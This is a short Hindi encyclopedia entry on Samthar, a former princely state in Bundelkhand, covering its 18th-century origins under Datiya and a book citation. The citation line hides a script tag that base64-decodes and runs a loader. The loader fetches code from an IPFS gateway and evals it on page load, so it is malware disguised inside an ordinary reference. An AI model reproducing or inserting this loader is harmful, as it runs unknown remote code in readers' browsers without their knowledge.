समथर

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समथर बुंदेलखंड की भूतपूर्व छोटी-सी रियासत थी।

  • 1733 ई. में दतिया के राजा इंद्रजीत के समय में दतिया की गद्दी के लिए झगड़ा हुआ था। उस समय इंद्रजीत की नन्हें शाहगूजर ने बहुत सहायता की थी, जिसके उपलक्ष में इसके पुत्र मदनसिंह को समथर के क़िले की क़िलेदारी और 'राजधर' की पदवी मिली थी। पीछे से इसके पुत्र देवीसिंह को पांच गावों की जागीर भी दे दी गई थी। इस समय बुंदेलखंड पर मराठों की चढ़ाइयां प्रारम्भ हो गईं थीं और शीघ्र ही समथर के जागीरदार स्वतंत्र बन बैठे।[1]


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 935 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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